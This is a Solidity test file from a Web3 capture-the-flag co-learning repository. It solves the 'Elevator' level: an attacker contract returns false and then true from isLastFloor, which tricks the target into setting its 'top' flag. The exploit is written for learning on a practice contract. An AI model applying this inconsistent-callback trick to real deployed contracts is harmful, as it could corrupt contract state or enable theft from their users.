forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathElevator.t.sol
44 lines (37 loc) · 1.03 KB
/
Elevator.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {Elevator} from "../src/Elevator.sol";
interface IBuilding {
function isLastFloor(uint256) external returns (bool);
}
contract ElevatorTest is Test {
Elevator target;
ElevatorHacker hackTarget;
function setUp() public {
target = new Elevator();
hackTarget = new ElevatorHacker(address(target));
}
function test_ElevatorToReceiveEther() public {
hackTarget.hack();
assert(target.top() == true);
}
}
contract ElevatorHacker is IBuilding {
Elevator public target;
uint256 public callingTimes;
constructor(address _target) {
target = Elevator(_target);
}
function hack() external {
target.goTo(1);
}
function isLastFloor(uint256 value) external override returns (bool) {
if (callingTimes % 2 == 0) {
callingTimes++;
return false;
}
callingTimes++;
return true;
}
}